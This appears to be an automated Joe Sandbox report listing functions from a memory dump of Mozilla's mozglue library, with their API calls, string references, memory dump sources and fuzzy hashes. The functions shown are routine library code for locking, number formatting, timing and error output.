__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B707E

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B709C
LocalFree.KERNEL32(?), ref: 6C9B70AA

Strings

(null), xrefs: 6C9B706A, 6C9B7083
### ERROR: %s: %s, xrefs: 6C9B7087

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction ID: 8bbf44654074e7dbf7dcf084a49bffa414ed7ad72ff5fc0ecc293ef824396237
Opcode Fuzzy Hash: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction Fuzzy Hash: 7801F9B1A00104AFDB006BA4DC4ADAF7BBCEF49215F110425FA05B3241D631B958CBE1

Function 6C979E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C979EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C979F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C979F34
LeaveCriticalSection.KERNEL32(?), ref: 6C97A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97A8B1, 6C97A8D4, 6C97A8EF

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction ID: 94957523199309d73732ad4787889eb1afbbd32ec043a61a8dfd12eef386b337
Opcode Fuzzy Hash: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction Fuzzy Hash: 9A728C72A067118FD324CF28C540615FBE1BF89728F2AC7ADE8699B791D735E841CB90

Function 6C9A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A2C61

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A2E2D

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C9A2E3B
expected a Time entry, xrefs: 6C9A2E36
(root), xrefs: 6C9A354F

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction ID: 6db71ce32189a19d9db23119b6662487bea5f08fc53debd3939cd01c56360cc6
Opcode Fuzzy Hash: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction Fuzzy Hash: 9791DE70608B408FC724CF69C48469EF7F5AF99358F10491DE99A9BB91DB30D94ACB42

Function 6C97C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C97C317
MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction ID: 7fa5edbcc070eb5be9ebbf6d174c7c1676320848f468cb43dc99319330264d18
Opcode Fuzzy Hash: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction Fuzzy Hash: 9E52D03160A741CFD724CF18C4947AAB7E6FB8A318F24891DE8D687B81D735E845CB62

Function 6C9B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9B9F3D
__aulldiv.LIBCMT ref: 6C9B9F77
__aullrem.LIBCMT ref: 6C9B9F8C
__aulldiv.LIBCMT ref: 6C9BA023

Strings

-Infinity, xrefs: 6C9B9E60, 6C9B9E7B
NaN, xrefs: 6C9B9EAB

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction ID: 69e0b2d3aed9ab1d57e28fa6ced42487e1b947cf972753edc10017776aeefe6a
Opcode Fuzzy Hash: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction Fuzzy Hash: 05C1C031E00319ABDB14CFA8C8807AFB7B6EBA5314F544529D405BBB80DB71ED49CB91

Function 6C95D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C95DE7F
@, xrefs: 6C95DAF6
1, xrefs: 6C95DBDD
0, xrefs: 6C95D852
8, xrefs: 6C95DC08
-, xrefs: 6C95D7DD
0, xrefs: 6C95DC7F
, xrefs: 6C95DA88

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction ID: 6a1b592dd77ba60c11ff780af698c891675854449e9cc88d832b678b1b5d30ef
Opcode Fuzzy Hash: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction Fuzzy Hash: 5D62DE7260D3458FD701CF18C29076ABBF6AF86318F984A4DE4D44BB95C335D9A6CB82

Function 6C969F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C96AB22
1, xrefs: 6C96A824
@, xrefs: 6C96A625
' , xrefs: 6C96A3D8
0, xrefs: 6C96A100
9, xrefs: 6C96A5D6

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction ID: 285342c432369980256c34f893e47099f05ee16847ac6515a861495d325d71b3
Opcode Fuzzy Hash: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction Fuzzy Hash: 6182CF319093318BF710CF1BC49026EB7E6EB85758F65892AE8D547ED0DB35E885CB82

Function 6C95BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C95C1CB
__aulldiv.LIBCMT ref: 6C95C24C
__aulldiv.LIBCMT ref: 6C95C348
__aullrem.LIBCMT ref: 6C95C365
__aulldiv.LIBCMT ref: 6C95C37D

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca564f0a8df396e03c74de320938d7a0532e7320a7295eeba397575622058f59
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 1C322632B046168FCB18DE3CC89066ABBE6AFD9310F49866DE495CB395D730ED05CB91

Function 6C9C545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C8A4B

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6748e7821dcc473d6c0f55ff824bf16f35ac862823f67dc771b8f36cf46e1fb6
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D2B1E672B0021ACFDB14CF68CC907A9B7B6EF95314F1902A9C549EB781D730E985CB92

Function 6C9C542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6cd0fcc83cd549fe357bb5cf7969e5caf8bc937e41cd46092fa0c911797b1cdb
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 75B1D572F0021A8BDB14CF58CC816ADB7B6AF95314F190269C549EBB85D730E989CB92

Function 6C9C50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: b7d9ce138e4f5084dc90b56994151a48e0598923134e98aea57dfd13da7d3c95
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: AAA1D772B001178FDB14CF68CC807A9B7B6AF95314F1502B9C949EB785D730E999CB92

Function 6C9A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A7A93

Part of subcall function 6C975C50: GetTickCount64.KERNEL32 ref: 6C975D40
Part of subcall function 6C975C50: EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A7AA1

Part of subcall function 6C975C50: __aulldiv.LIBCMT ref: 6C975DB4
Part of subcall function 6C975C50: LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9A7B31

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction ID: 35d63b402a5348829407a67e4b6dac3005365ed227e1c3fbdf0c17e17450f845
Opcode Fuzzy Hash: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction Fuzzy Hash: 90B1AC356087808BCB18CFA4C49165FB7E2BFD9318F154A1CE99567B94DB70E90BCB82

Function 6C996CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C996D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996E1E

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction ID: f7634df291f7fc298ae2d1d3f8b29d472dd0c08a0e26eb2a7d4116a96b0aebee
Opcode Fuzzy Hash: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction Fuzzy Hash: 93A18D706183818FCB15CF24C4907AEFBE6BFA8308F54495DE48A87751DB70E959CB92

Function 6C9BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9BB720
RtlNtStatusToDosError.NTDLL ref: 6C9BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C98FE3F,00000000,00000000,?,?,00000000,?,6C98FE3F), ref: 6C9BB760

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction ID: 973e5f119293fe9ebbc3919dc469951abb1e451a2f5b83f2ef42083c76e2a61a
Opcode Fuzzy Hash: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction Fuzzy Hash: 51F0AFB0A0420CAEEF019AA1CCC4BEFB7BC9B14719F105129E511729C0D774E6C8C762

Function 6C974640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C974777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C975585, 6C9755A8, 6C9755C3, 6C975624

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction ID: 1fad17c29fd2c955e96db0ffb6502fe17ff21090745f4a1ef674bff60e20a197
Opcode Fuzzy Hash: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction Fuzzy Hash: 37B28D71A06B018FD728CF18C590715BBE6BFC5324B29C7ADE4698B6A6D731E841CF90

Function 6C9B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B8C7C
__aulldiv.LIBCMT ref: 6C9B8DD7

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: abf186ce9f9c734c8e384b0231a2bea45213bc7c3d19e44ecba271efc7597e0d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DB325971F0121A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD506BB790DA349D458B95

Function 6C9BB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9603D4,?), ref: 6C9BB955
NtQueryVirtualMemory.NTDLL ref: 6C9BB9A5

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction ID: 74815975401d012b9c5b82fc612d258ea3ca7e91d580970858bfb7b2fe73cd1e
Opcode Fuzzy Hash: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction Fuzzy Hash: 8641C571F01219AFDF04CFA9D880ADEB7B9EF88354F14812AE505B7744DB30E9458B91

Function 6C995C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C964A63,?,?), ref: 6C995F06

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction ID: e87c19aeb54141b40e2ff11cc4c98e9d4ce69d8caccf48a06b77821da2475711
Opcode Fuzzy Hash: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction Fuzzy Hash: DAC1C175D012099BCB04CFA5C5906EEBBF6FF8A319F28425DD8556BB44D732A846CB80

Function 6C95DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
